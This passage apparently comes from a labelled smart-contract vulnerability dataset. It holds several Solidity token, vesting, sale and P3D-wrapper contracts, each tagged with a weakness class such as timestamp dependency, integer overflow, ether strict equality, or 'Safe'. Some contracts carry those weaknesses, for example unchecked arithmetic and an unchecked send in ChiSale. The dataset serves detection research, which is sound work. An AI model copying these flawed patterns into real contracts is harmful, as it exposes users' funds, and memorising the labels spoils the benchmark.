amountToTransfer)); transferredTokens = transferredTokens.add(amountToTransfer); } } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract DetailedERC20 is ERC20 { string public name; string public symbol; uint8 public decimals; constructor(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value ) internal { require(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { require(token.approve(spender, value)); } } contract TokenTimelock { using SafeERC20 for ERC20Basic; ERC20Basic public token; address public beneficiary; uint256 public releaseTime; constructor( ERC20Basic _token, address _beneficiary, uint256 _releaseTime ) public { require(_releaseTime > block.timestamp); token = _token; beneficiary = _beneficiary; releaseTime = _releaseTime; } function release() public { require(block.timestamp >= releaseTime); uint256 amount = token.balanceOf(this); require(amount > 0); token.safeTransfer(beneficiary, amount); } } pragma solidity ^0.4.23; contract TokenVesting is Ownable { using SafeMath for uint256; using SafeERC20 for ERC20Basic; event Released(uint256 amount); event Revoked(); address public beneficiary; uint256 public cliff; uint256 public start; uint256 public duration; bool public revocable; mapping (address => uint256) public released; mapping (address => bool) public revoked; constructor( address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable ) public { require(_beneficiary != address(0)); require(_cliff <= _duration); beneficiary = _beneficiary; revocable = _revocable; duration = _duration; cliff = _start.add(_cliff); start = _start; } function release(ERC20Basic token) public { uint256 unreleased = releasableAmount(token); require(unreleased > 0); released[token] = released[token].add(unreleased); token.safeTransfer(beneficiary, unreleased); emit Released(unreleased); } function revoke(ERC20Basic token) public onlyOwner { require(revocable); require(!revoked[token]); uint256 balance = token.balanceOf(this); uint256 unreleased = releasableAmount(token); uint256 refund = balance.sub(unreleased); revoked[token] = true; token.safeTransfer(owner, refund); emit Revoked(); } function releasableAmount(ERC20Basic token) public view returns (uint256) { return vestedAmount(token).sub(released[token]); } function vestedAmount(ERC20Basic token) public view returns (uint256) { uint256 currentBalance = token.balanceOf(this); uint256 totalBalance = currentBalance.add(released[token]); if (block.timestamp < cliff) { return 0; } else if (block.timestamp >= start.add(duration) || revoked[token]) { return totalBalance; } else { return totalBalance.mul(block.timestamp.sub(start)).div(duration); } } } contract NokuCustomERC20 is NokuCustomToken, DetailedERC20, MintableToken, BurnableToken { using SafeMath for uint256; event LogNokuCustomERC20Created( address indexed caller, string indexed name, string indexed symbol, uint8 decimals, uint256 transferableFromBlock, uint256 lockEndBlock, address pricingPlan, address serviceProvider ); event LogMintingFeeEnabledChanged(address indexed caller, bool indexed mintingFeeEnabled); event LogInformationChanged(address indexed caller, string name, string symbol); event LogTransferFeePaymentFinished(address indexed caller); event LogTransferFeePercentageChanged(address indexed caller, uint256 indexed transferFeePercentage); bool public mintingFeeEnabled; uint256 public transferableFromBlock; uint256 public lockEndBlock; mapping (address => uint256) public initiallyLockedBalanceOf; uint256 public transferFeePercentage; bool public transferFeePaymentFinished; TokenTimelock public timelock; TokenVesting public vesting; bytes32 public constant BURN_SERVICE_NAME = ""NokuCustomERC20.burn""; bytes32 public constant MINT_SERVICE_NAME = ""NokuCustomERC20.mint""; bytes32 public constant TIMELOCK_SERVICE_NAME = ""NokuCustomERC20.timelock""; bytes32 public constant VESTING_SERVICE_NAME = ""NokuCustomERC20.vesting""; modifier canTransfer(address _from, uint _value) { require(block.number >= transferableFromBlock, ""token not transferable""); if (block.number < lockEndBlock) { uint256 locked = lockedBalanceOf(_from); if (locked > 0) { uint256 newBalance = balanceOf(_from).sub(_value); require(newBalance >= locked, ""_value exceeds locked amount""); } } _; } constructor( string _name, string _symbol, uint8 _decimals, uint256 _transferableFromBlock, uint256 _lockEndBlock, address _pricingPlan, address _serviceProvider ) NokuCustomToken(_pricingPlan, _serviceProvider) DetailedERC20(_name, _symbol, _decimals) public { require(bytes(_name).length > 0, ""_name is empty""); require(bytes(_symbol).length > 0, ""_symbol is empty""); require(_lockEndBlock >= _transferableFromBlock, ""_lockEndBlock lower than _transferableFromBlock""); transferableFromBlock = _transferableFromBlock; lockEndBlock = _lockEndBlock; mintingFeeEnabled = true; emit LogNokuCustomERC20Created( msg.sender, _name, _symbol, _decimals, _transferableFromBlock, _lockEndBlock, _pricingPlan, _serviceProvider ); } function setMintingFeeEnabled(bool _mintingFeeEnabled) public onlyOwner returns(bool successful) { require(_mintingFeeEnabled != mintingFeeEnabled, ""_mintingFeeEnabled == mintingFeeEnabled""); mintingFeeEnabled = _mintingFeeEnabled; emit LogMintingFeeEnabledChanged(msg.sender, _mintingFeeEnabled); return true; } function setInformation(string _name, string _symbol) public onlyOwner returns(bool successful) { require(bytes(_name).length > 0, ""_name is empty""); require(bytes(_symbol).length > 0, ""_symbol is empty""); name = _name; symbol = _symbol; emit LogInformationChanged(msg.sender, _name, _symbol); return true; } function finishTransferFeePayment() public onlyOwner returns(bool finished) { require(!transferFeePaymentFinished, ""transfer fee finished""); transferFeePaymentFinished = true; emit LogTransferFeePaymentFinished(msg.sender); return true; } function setTransferFeePercentage(uint256 _transferFeePercentage) public onlyOwner { require(0 <= _transferFeePercentage && _transferFeePercentage <= 100, ""_transferFeePercentage not in [0, 100]""); require(_transferFeePercentage != transferFeePercentage, ""_transferFeePercentage equal to current value""); transferFeePercentage = _transferFeePercentage; emit LogTransferFeePercentageChanged(msg.sender, _transferFeePercentage); } function lockedBalanceOf(address _to) public view returns(uint256 locked) { uint256 initiallyLocked = initiallyLockedBalanceOf[_to]; if (block.number >= lockEndBlock) return 0; else if (block.number <= transferableFromBlock) return initiallyLocked; uint256 releaseForBlock = initiallyLocked.div(lockEndBlock.sub(transferableFromBlock)); uint256 released = block.number.sub(transferableFromBlock).mul(releaseForBlock); return initiallyLocked.sub(released); } function transferFee(uint256 _value) public view returns(uint256 usageFee) { return _value.mul(transferFeePercentage).div(100); } function freeTransfer() public view returns (bool isTransferFree) { return transferFeePaymentFinished || transferFeePercentage == 0; } function transfer(address _to, uint256 _value) canTransfer(msg.sender, _value) public returns(bool transferred) { if (freeTransfer()) { return super.transfer(_to, _value); } else { uint256 usageFee = transferFee(_value); uint256 netValue = _value.sub(usageFee); bool feeTransferred = super.transfer(owner, usageFee); bool netValueTransferred = super.transfer(_to, netValue); return feeTransferred && netValueTransferred; } } function transferFrom(address _from, address _to, uint256 _value) canTransfer(_from, _value) public returns(bool transferred) { if (freeTransfer()) { return super.transferFrom(_from, _to, _value); } else { uint256 usageFee = transferFee(_value); uint256 netValue = _value.sub(usageFee); bool feeTransferred = super.transferFrom(_from, owner, usageFee); bool netValueTransferred = super.transferFrom(_from, _to, netValue); return feeTransferred && netValueTransferred; } } function burn(uint256 _amount) public canBurn { require(_amount > 0, ""_amount is zero""); super.burn(_amount); require(pricingPlan.payFee(BURN_SERVICE_NAME, _amount, msg.sender), ""burn fee failed""); } function mint(address _to, uint256 _amount) public onlyOwner canMint returns(bool minted) { require(_to != 0, ""_to is zero""); require(_amount > 0, ""_amount is zero""); super.mint(_to, _amount); if (mintingFeeEnabled) { require(pricingPlan.payFee(MINT_SERVICE_NAME, _amount, msg.sender), ""mint fee failed""); } return true; } function mintLocked(address _to, uint256 _amount) public onlyOwner canMint returns(bool minted) { initiallyLockedBalanceOf[_to] = initiallyLockedBalanceOf[_to].add(_amount); return mint(_to, _amount); } function mintTimelocked(address _to, uint256 _amount, uint256 _releaseTime) public onlyOwner canMint returns(bool minted) { require(timelock == address(0), ""TokenTimelock already activated""); timelock = new TokenTimelock(this, _to, _releaseTime); minted = mint(timelock, _amount); require(pricingPlan.payFee(TIMELOCK_SERVICE_NAME, _amount, msg.sender), ""timelock fee failed""); } function mintVested(address _to, uint256 _amount, uint256 _startTime, uint256 _duration) public onlyOwner canMint returns(bool minted) { require(vesting == address(0), ""TokenVesting already activated""); vesting = new TokenVesting(_to, _startTime, 0, _duration, true); minted = mint(vesting, _amount); require(pricingPlan.payFee(VESTING_SERVICE_NAME, _amount, msg.sender), ""vesting fee failed""); } function releaseVested() public returns(bool released) { require(vesting != address(0), ""TokenVesting not activated""); vesting.release(this); return true; } function revokeVested() public onlyOwner returns(bool revoked) { require(vesting != address(0), ""TokenVesting not activated""); vesting.revoke(this); return true; } } library AddressUtils { function isContract(address addr) internal view returns (bool) { uint256 size; assembly { size := extcodesize(addr) } return size > 0; } } contract NokuCustomService is Pausable { using AddressUtils for address; event LogPricingPlanChanged(address indexed caller, address indexed pricingPlan); NokuPricingPlan public pricingPlan; constructor(address _pricingPlan) internal { require(_pricingPlan.isContract(), ""_pricingPlan is not contract""); pricingPlan = NokuPricingPlan(_pricingPlan); } function setPricingPlan(address _pricingPlan) public onlyOwner { require(_pricingPlan.isContract(), ""_pricingPlan is not contract""); require(NokuPricingPlan(_pricingPlan) != pricingPlan, ""_pricingPlan equal to current""); pricingPlan = NokuPricingPlan(_pricingPlan); emit LogPricingPlanChanged(msg.sender, _pricingPlan); } } contract NokuCustomERC20Service is NokuCustomService { event LogNokuCustomERC20ServiceCreated(address caller, address indexed pricingPlan); uint256 public constant CREATE_AMOUNT = 1 * 10**18; uint8 public constant DECIMALS = 18; bytes32 public constant CUSTOM_ERC20_CREATE_SERVICE_NAME = ""NokuCustomERC20.create""; constructor(address _pricingPlan) NokuCustomService(_pricingPlan) public { emit LogNokuCustomERC20ServiceCreated(msg.sender, _pricingPlan); } function createCustomToken(string _name, string _symbol, uint8 ) public returns(NokuCustomERC20 customToken) { customToken = new NokuCustomERC20( _name, _symbol, DECIMALS, block.number, block.number, pricingPlan, owner ); customToken.transferOwnership(msg.sender); require(pricingPlan.payFee(CUSTOM_ERC20_CREATE_SERVICE_NAME, CREATE_AMOUNT, msg.sender), ""fee payment failed""); } function createCustomToken( string _name, string _symbol, uint8 , uint256 transferableFromBlock, uint256 lockEndBlock ) public returns(NokuCustomERC20 customToken) { customToken = new NokuCustomERC20( _name, _symbol, DECIMALS, transferableFromBlock, lockEndBlock, pricingPlan, owner ); customToken.transferOwnership(msg.sender); require(pricingPlan.payFee(CUSTOM_ERC20_CREATE_SERVICE_NAME, CREATE_AMOUNT, msg.sender), ""fee payment failed""); } }",./Dataset/timestamp dependency (TP)/,6,6 1174.sol,"pragma solidity ^0.4.24; library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { return _a / _b; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function allowance(address _owner, address _spender) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20 { using SafeMath for uint256; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) internal allowed; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BitCnyToken is StandardToken { string public constant name = ""bitCNY""; string public constant symbol = ""bitCNY""; uint8 public constant decimals = 4; uint256 public constant INITIAL_SUPPLY = 8e9 * (10 ** uint256(decimals)); constructor(address _address) public { totalSupply_ = INITIAL_SUPPLY; balances[_address] = INITIAL_SUPPLY; emit Transfer(address(0), _address, INITIAL_SUPPLY); } }",./Dataset/integer overflow (OF)/,4,4 624.sol,"pragma solidity ^0.4.24; interface HourglassInterface { function buy(address _playerAddress) payable external returns(uint256); function withdraw() external; } interface StrongHandsManagerInterface { function mint(address _owner, uint256 _amount) external; } contract StrongHandsManager { event CreateStrongHand(address indexed owner, address indexed strongHand); event MintToken(address indexed owner, uint256 indexed amount); mapping (address => address) public strongHands; mapping (address => uint256) public ownerToBalance; //ERC20 string public constant name = ""Stronghands3D""; string public constant symbol = ""S3D""; uint8 public constant decimals = 18; uint256 internal tokenSupply = 0; function getStrong() public { require(strongHands[msg.sender] == address(0), ""you already became a Stronghand""); strongHands[msg.sender] = new StrongHand(msg.sender); emit CreateStrongHand(msg.sender, strongHands[msg.sender]); } function mint(address _owner, uint256 _amount) external { require(strongHands[_owner] == msg.sender); tokenSupply+= _amount; ownerToBalance[_owner]+= _amount; emit MintToken(_owner, _amount); } //ERC20 function totalSupply() public view returns (uint256) { return tokenSupply; } function balanceOf(address _owner) public view returns (uint256) { return ownerToBalance[_owner]; } } contract StrongHand { HourglassInterface constant p3dContract = HourglassInterface(0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe); StrongHandsManagerInterface strongHandManager; address public owner; modifier onlyOwner() { require(msg.sender == owner); _; } constructor(address _owner) public { owner = _owner; strongHandManager = StrongHandsManagerInterface(msg.sender); } function() public payable {} function buy(address _referrer) external payable onlyOwner { purchase(msg.value, _referrer); } function purchase(uint256 _amount, address _referrer) private { uint256 amountPurchased = p3dContract.buy.value(_amount)(_referrer); strongHandManager.mint(owner, amountPurchased); } function withdraw() external onlyOwner { p3dContract.withdraw(); owner.transfer(address(this).balance); } }",./Dataset/ether strict equality (SE),3,3 0x050163597d9905ba66400f7b3ca8f2ef23df702d_ChiSale.sol,"pragma solidity ^0.4.19; interface ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } /** * Owned Contract * * This is a contract trait to inherit from. Contracts that inherit from Owned * are able to modify functions to be only callable by the owner of the * contract. * * By default it is impossible to change the owner of the contract. */ contract Owned { /** * Contract owner. * * This value is set at contract creation time. */ address owner; /** * Contract constructor. * * This sets the owner of the Owned contract at the time of contract * creation. */ function Owned() public { owner = msg.sender; } /** * Modify method to only allow the owner to call it. */ modifier onlyOwner { require(msg.sender == owner); _; } } /** * Chi Token Sale Contract with revenue sharing * * The intention of this contract is to run until the total value of 2000 ETH * is sold out. There is no time limit placed on the contract. * * The total number of CHI tokens allocated to the contract is equal to the * maximum number of tokens that can be acquired. This maximum number is * calculating the purchase of 2000 ETH of tokens, and adding the bonus tokens * for that purchase. * * The bonus tiers thresholds are calculated using the absolute number of sold * tokens (by this contract), and are as follows: * - the 1st 150.000 tokens (0 - 149.999) get a bonus of 75%; * - the 2nd 150.000 tokens (150.000 - 299.999) get a bonus of 60%; * - the 3rd 150.000 tokens (300.000 - 449.999) get a bonus of 50%; * - the 4th 150.000 tokens (450.000 - 599.999) get a bonus of 40%; * - the 5th 150.000 tokens (600.000 - 749.999) get a bonus of 30%; * - the 6th 150.000 tokens (750.000 - 899.999) get a bonus of 20%; * - the next 300.000 tokens (900.000 - 1.199.999) get a bonus of 10%; * - the next 300.000 tokens (1.200.000 - 1.499.999) get a bonus of 5%; and * - the next 500.000 tokens (1.500.000 - 1.999.999) get a bonus of 2%. * * The maximum number of tokens this contract is able to hand out, can be * calculated using the following Python code: * https://pyfiddle.io/fiddle/9bbc870a-534e-47b1-87c3-5f000bdd7d74/ */ contract ChiSale is Owned { // For simplicity reasons, all values are calculated using uint256. Both // values could technically be reduced to a lower bit value: percentage // fits in `uint8`, and threshold fits within `uint64`. This contract is // not optimized for storage and does not use bit packing to store multiple // smaller `uint` values in a single larger `uint`. struct BonusTier { uint256 percentage; uint256 threshold; } // The list of bonus tiers is set at contract construction and does not // mutate. BonusTier[] private bonusTiers; // The number of sold tokens is to keep track of the active bonus tier. The // number is updated every time a purchase is made. uint256 private tokensSold; // The bonus index is always up-to-date with the latest bonus tier. It is // automatically updated when a new threshold is hit. uint8 private bonusIndex; // The maximum bonus threshold indicated the threshold of the final bonus // tier. This is also the maximum number of tokens a buyer is able to // purchase. uint256 private maxBonusThreshold; // The price per CHI token is constant, and equal to the value determined // by the Aethian Crystal Bank: 0.001 ether per CHI, which is equal to 1 // ether for 1000 CHI. uint256 private constant TOKEN_PRICE = 0.001 ether; // The revenue share percentage is the percentage that the referrer of the // buyer receives, after the buyer makes a purchase using their address as // referral address. The referral address is the address that receives the // revenue share percentage. uint256 private constant REVENUE_SHARE_PERCENTAGE = 22; // The CHI token contract implements ERC-20. ERC20 private chiContract; // Log the CHI purchase event. The purchase events are filterable by buyer // and referrer to allow for quick look-ups for specific users. event LogChiPurchase( address indexed buyer, address indexed referrer, uint256 number, uint256 timestamp ); /** * CHI Sale contract constructor * * The CHI contract address and bonus numbers are passed in dynamically * to allow for testing using different Ethereum networks and different * bonus numbers. */ function ChiSale( address chiAddress, uint256[] bonusThresholds, uint256[] bonusPercentages ) public Owned() { // Explicitly check the lengths of the bonus percentage and threshold // arrays to prevent human error. This does not prevent the creator // from inputting the wrong numbers, however. require(bonusThresholds.length == bonusPercentages.length); // Explicitly check that the number of bonus tiers is less than 256, as // it should fit within the 8 bit unsigned integer value that is used // as the index counter. require(bonusThresholds.length < 256); // Loop through one array, whilst simultaneously reading data from the // other array. This is possible because both arrays are of the same // length, as checked in the line above. for (uint8 i = 0; i < bonusThresholds.length; i++) { // Guard against human error, by checking that the new bonus // threshold is always a higher value than the previous threshold. if (i > 0) { require(bonusThresholds[i] > bonusThresholds[i - 1]); } // It is already guaranteed that bonus thresholds are in ascending // order. For this reason, the maximum bonus threshold can be set // by selecting the final value in the bonus thresholds array. if (i > bonusThresholds.length - 1) { maxBonusThreshold = bonusThresholds[i]; } bonusTiers.push(BonusTier({ percentage: bonusPercentages[i], threshold: bonusThresholds[i] })); } // The CHI token contract address is passed as argument to allow for // easier testing on the development and testing networks. chiContract = ERC20(chiAddress); // The default value of an unsigned integer is already zero, however, // for verbosity and readability purposes, both counters are explicitly // set to zero. tokensSold = 0; bonusIndex = 0; } function buy(address referralAddress) external payable { // Calculate the number of tokens to buy. This can be 0, if the buyer // sends an ether value that is less than the price indicated by // `TOKEN_PRICE`. uint256 tokensToBuy = msg.value / TOKEN_PRICE; // Get the current CHI token balance of this contract. If this number // is zero, no more tokens can will be sold. uint256 tokenBalance = chiContract.balanceOf(address(this)); // A buyer can send more than the required amount for buying a number // of tokens. In this case the remainder is calculated, that will be // sent back at the end of the transaction. uint256 remainder = msg.value % TOKEN_PRICE; // Explicitly guard against the scenario wherein human error occurs, // and fewer tokens have been transferred to the contract than dictated // by the bonus tiers. This situation can still be resolved at a later // date by calling `resetMaxBonusThreshold`. if (maxBonusThreshold < tokenBalance) { maxBonusThreshold = tokenBalance; } // A scenario is possible wherein a buyer attempts to buy more tokens // than the contract is offering. In this case the purchase is limited // to the available number of tokens. if (tokensToBuy > maxBonusThreshold) { tokensToBuy = maxBonusThreshold; // The actual number of tokens that can be bought is multiplied by // the token price to calculate the actual purchase price of the // transaction. This is then subtracted from the total value of // ether sent in the transaction to end up with the remainder that // will be sent back to the buyer. remainder = msg.value - tokensToBuy * TOKEN_PRICE; } // The sale contract has a bonus structure. The number of bonus tokens // is calculated in a different method. This method will always return // a number (of bonus tokens) without error; this number can be zero. uint256 bonusTokens = calculateBonusTokens(tokensToBuy); // Update the number of tokens sold. This number does not include the // number of bonus tokens that were given out, only the number of // tokens that were 'bought'. tokensSold += tokensToBuy; // Guard against transfers where the contract attempts to transfer more // CHI tokens than it has available. In reality, this can never occur // as the proper amount of tokens should have been deposited within the // contract in accordance to the number calculated by the Python script // linked above. This is simply a guard against human error. if (tokenBalance < tokensToBuy + bonusTokens) { chiContract.transfer(msg.sender, tokenBalance); } else { chiContract.transfer(msg.sender, tokensToBuy + bonusTokens); } // The referral address has a default value set to the contract address // of this CHI sale contract in the web application. The application // changes this value to a different referral address if a special link // is followed. If the referral address does not equal this contract's // address, the revenue share percentage is paid out to that address. if (referralAddress != address(this) && referralAddress != address(0)) { // The value `msg.value * REVENUE_SHARE_PERCENTAGE / 100` is always // guaranteed to be a valid number (i.e. accepted by the `transfer` // method). The value cannot overflow as the maximum number of Wei // in `msg.value` fits in 128 bits. Multiplying this number by // `REVENUE_SHARE_PERCENTAGE` still safely fits within the current // 256 bit range. The value is sent using `send` to make sure the // purchase does not fail if someone uses an invalid address. referralAddress.send( msg.value * REVENUE_SHARE_PERCENTAGE / 100 ); } // In the case where a buyer sent in too much ether, or there weren't // enough tokens available, the remaining ether is sent back to the // buyer. if (remainder > 0) { msg.sender.transfer(remainder); } LogChiPurchase(msg.sender, referralAddress, tokensToBuy, now); } /** * Reset the maximum bonus threshold to the correct value. * * This number is lowered if the contract has fewer tokens available than * indicated by the maximum bonus threshold. In this case, the correct * number of tokens should be deposited before calling this method to * restore the numbers. */ function resetMaxBonusThreshold() external onlyOwner { maxBonusThreshold = bonusTiers[bonusTiers.length - 1].threshold; } /** * Withdraw all ether from the contract. * * This withdrawal is separate from the CHI withdrawal method to allow for * intermittent withdrawals as the contract has no set time period to run * for. */ function withdrawEther() external onlyOwner { // The transfer method cannot fail with the current given input, as a // transfer of 0 Wei is also a valid transfer call. msg.sender.transfer(address(this).balance); } /** * Withdraw remaining CHI from the contract. * * The intent of this method is to retrieve the remaining bonus tokens * after the sale has concluded successfully, but not all bonus tokens have * been handed out (due to rounding). */ function withdrawChi() external onlyOwner { // This CHI transfer cannot fail as the available balance is first // retrieved from the CHI token contract. The deterministic nature of // the Ethereum blockchain guarantees that no other operations occur // in between the balance retrieval call and the transfer call. chiContract.transfer(msg.sender, chiContract.balanceOf(address(this))); } /** * Get the number of bonus tiers. * * Returns * ------- * uint256 * The number of bonus tiers in the sale contract. * * Notice * ------ * This method returns a 256 bit unsigned integer because that is the * return type of the `length` method on arrays. Type casting it would be * a needless gas cost. */ function getBonusTierCount() external view returns (uint256) { return bonusTiers.length; } /** * Get bonus percentage and threshold of a given bonus tier. * * Parameters * ---------- * bonusTierIndex : uint8 * * Returns * ------- * uint256 * The first 256 bit unsigned integer is the bonus percentage of the * given bonus tier. * uint256 * The second 256 bit unsigned integer is the bonus threshold of the * given bonus tier. * * Notice * ------ * Both percentage and threshold are 256 bit unsigned integers, even though * they technically respectively fit within an 8 bit unsigned integer and * a 64 bit unsigned integer. For simplicity purposes, they are kept as 256 * bit values. */ function getBonusTier( uint8 bonusTierIndex ) external view returns (uint256, uint256) { return ( bonusTiers[bonusTierIndex].percentage, bonusTiers[bonusTierIndex].threshold ); } /** * Get bonus percentage and threshold of the current bonus tier. * * Returns * ------- * uint256 * The first 256 bit unsigned integer is the bonus percentage of the * current bonus tier. * uint256 * The second 256 bit unsigned integer is the bonus threshold of the * current bonus tier. * * Notice * ------ * Both percentage and threshold are 256 bit unsigned integers, even though * they technically respectively fit within an 8 bit unsigned integer and * a 64 bit unsigned integer. For simplicity purposes, they are kept as 256 * bit values. */ function getCurrentBonusTier() external view returns (uint256 percentage, uint256 threshold) { return ( bonusTiers[bonusIndex].percentage, bonusTiers[bonusIndex].threshold ); } /** * Get the next bonus tier index. * * Returns * ------- * uint8 * The index of the next bonus tier. */ function getNextBonusIndex() external view returns (uint8) { return bonusIndex + 1; } /** * Get the number of sold tokens. * * Returns * ------- * uint256 * The number of sold tokens. */ function getSoldTokens() external view returns (uint256) { return tokensSold; } /** * Calculate the number of bonus tokens to send the buyer. * * Parameters * ---------- * boughtTokens : uint256 * The number of tokens the buyer has bought, and to calculate the * number of bonus tokens of. * * Returns * ------- * uint256 * The number of bonus tokens to send the buyer. * * Notice * ------ * This method modifies contract state by incrementing the bonus tier index * whenever a bonus tier is completely exhausted. This is done for * simplicity purposes. A different approach would have been to move the * loop to a different segment of the contract. */ function calculateBonusTokens( uint256 boughtTokens ) internal returns (uint256) { // Immediate return if all bonus tokens have already been handed out. if (bonusIndex == bonusTiers.length) { return 0; } // The number of bonus tokens always starts at zero. If the buyer does // not hit any of the bonus thresholds, or if the buyer buys a low // number of tokens that causes the bonus to round down to zero, this // zero value is returned. uint256 bonusTokens = 0; // Copy the number of bought tokens to an `lvalue` to allow mutation. uint256 _boughtTokens = boughtTokens; // Copy the number of sold tokens to an `lvalue` to allow mutation. uint256 _tokensSold = tokensSold; while (_boughtTokens > 0) { uint256 threshold = bonusTiers[bonusIndex].threshold; uint256 bonus = bonusTiers[bonusIndex].percentage; // There are two possible scenarios for the active bonus tier: // 1: the buyer purchases equal or more CHI tokens than available // in the current bonus tier; and // 2: the buyer purchases less CHI tokens than available in the // current bonus tier. if (_tokensSold + _boughtTokens >= threshold) { // The number of remaining tokens within the threshold is equal // to the threshold minus the number of tokens that have been // sold already. _boughtTokens -= threshold - _tokensSold; // The number of bonus tokens is equal to the remaining number // of tokens in the bonus tier multiplied by the bonus tier's // percentage. A different bonus will be calculated for the // remaining bought tokens. The number is first multiplied by // the bonus percentage to work to the advantage of the buyer, // as the minimum number of tokens that need to be bought for a // bonus to be counted would be equal to `100 / bonus` (rounded // down), in comparison to requiring a minimum of 100 tokens in // the other case. bonusTokens += (threshold - _tokensSold) * bonus / 100; // The number of sold tokens is 'normally' incremented by the // number of tokens that have been bought (in that bonus tier). // However, when all remaining tokens in a bonus tier are // purchased, the resulting operation looks as follows: // _tokensSold = _tokensSold + (threshold - _tokensSold) // which can be simplified to the current operation. _tokensSold = threshold; // If the bonus tier limit has not been reached, the bonus // index is incremented, because all tokens in the current // bonus tier have been sold. if (bonusIndex < bonusTiers.length) { bonusIndex += 1; } } else { // In the case where the number of bought tokens does not hit // the bonus threshold. No bonus changes have to be made, and // the number of sold tokens can be incremented by the bought // number of tokens. _tokensSold += _boughtTokens; // The number of bonus tokens is equal to the number of bought // tokens multiplied by the bonus factor of the active bonus // tier. bonusTokens += _boughtTokens * bonus / 100; // Reset the bought tokens to zero. _boughtTokens = 0; } } return bonusTokens; } }",Safe,8,8 